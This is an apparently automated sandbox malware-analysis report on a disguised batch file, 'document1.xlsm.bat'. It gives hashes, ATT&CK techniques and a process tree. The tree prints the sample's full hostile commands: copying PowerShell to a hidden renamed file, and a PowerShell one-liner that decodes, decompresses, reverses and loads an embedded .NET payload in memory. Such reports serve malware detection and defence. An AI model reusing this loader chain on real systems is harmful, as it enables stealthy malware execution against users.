35b1f297074282d80109a55ffa2250719618fb94d1ffb89f2af71088000e4842

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
08-05-2024 16:14

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General

Target

document1.xlsm.bat
Size

2.5MB
MD5

b35dd1b0c0a8eacd45751dc8915c921b
SHA1

69ec58d6a3fced2e8cf8afcad404e622f732ba64
SHA256

35b1f297074282d80109a55ffa2250719618fb94d1ffb89f2af71088000e4842
SHA512

c91063cfcd257d3e056c9625538106c27fbcf15963d1ab8c6fac5ef7ba90adfe14028dd1231157e9e8c4b2aaffa3a6995d78356bd70321999f4c3116332b2b8f
SSDEEP

24576:B3tFuAl5/Sq8tSKHGvFu6n0RXTiRJQQ49ZJ7Mr1/rfU2fdvFShyJDgyxK5If6Yc0:9nKqoH36ncXsCyhAJXIyYCOi4bwFMV

Score

8^/10

evasion

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1616	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
2560	document1.xlsm.bat.Agk

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2560	document1.xlsm.bat.Agk

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2560	document1.xlsm.bat.Agk

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2560	document1.xlsm.bat.Agk

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2548 wrote to memory of 2552	2548	cmd.exe	29
PID 2548 wrote to memory of 2552	2548	cmd.exe	29
PID 2548 wrote to memory of 2552	2548	cmd.exe	29
PID 2548 wrote to memory of 3020	2548	cmd.exe	30
PID 2548 wrote to memory of 3020	2548	cmd.exe	30
PID 2548 wrote to memory of 3020	2548	cmd.exe	30
PID 2548 wrote to memory of 1616	2548	cmd.exe	31
PID 2548 wrote to memory of 1616	2548	cmd.exe	31
PID 2548 wrote to memory of 1616	2548	cmd.exe	31
PID 2548 wrote to memory of 2560	2548	cmd.exe	32
PID 2548 wrote to memory of 2560	2548	cmd.exe	32
PID 2548 wrote to memory of 2560	2548	cmd.exe	32
PID 2548 wrote to memory of 2560	2548	cmd.exe	32

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1616	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:2552
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk
  2⤵
  PID:3020
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:1616
- C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk
  C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk -WindowStyle hidden -command "$Dpaixwue = Get-Content 'C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat' | select-object -Last 1; $Cbgbn = [System.Convert]::FromBase64String($Dpaixwue);$Wrshbyf = New-Object System.IO.MemoryStream( , $Cbgbn );$Vqjgxif = New-Object System.IO.MemoryStream;$Hbhfx = New-Object System.IO.Compression.GzipStream $Wrshbyf, ([IO.Compression.CompressionMode]::Decompress);$Hbhfx.CopyTo( $Vqjgxif );$Hbhfx.Close();$Wrshbyf.Close();[byte[]] $Cbgbn = $Vqjgxif.ToArray();[Array]::Reverse($Cbgbn); $Zbupjnbsv = [System.Threading.Thread]::GetDomain().Load($Cbgbn); $Rzfvpsrcsoi = $Zbupjnbsv.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2560-5-0x00000000743A1000-0x00000000743A2000-memory.dmp

Filesize
4KB

Download
memory/2560-6-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download
memory/2560-7-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download
memory/2560-8-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download
memory/2560-9-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download
memory/2560-10-0x00000000743A0000-0x000000007494B000-memory.dmp

Filesize
5.7MB

Download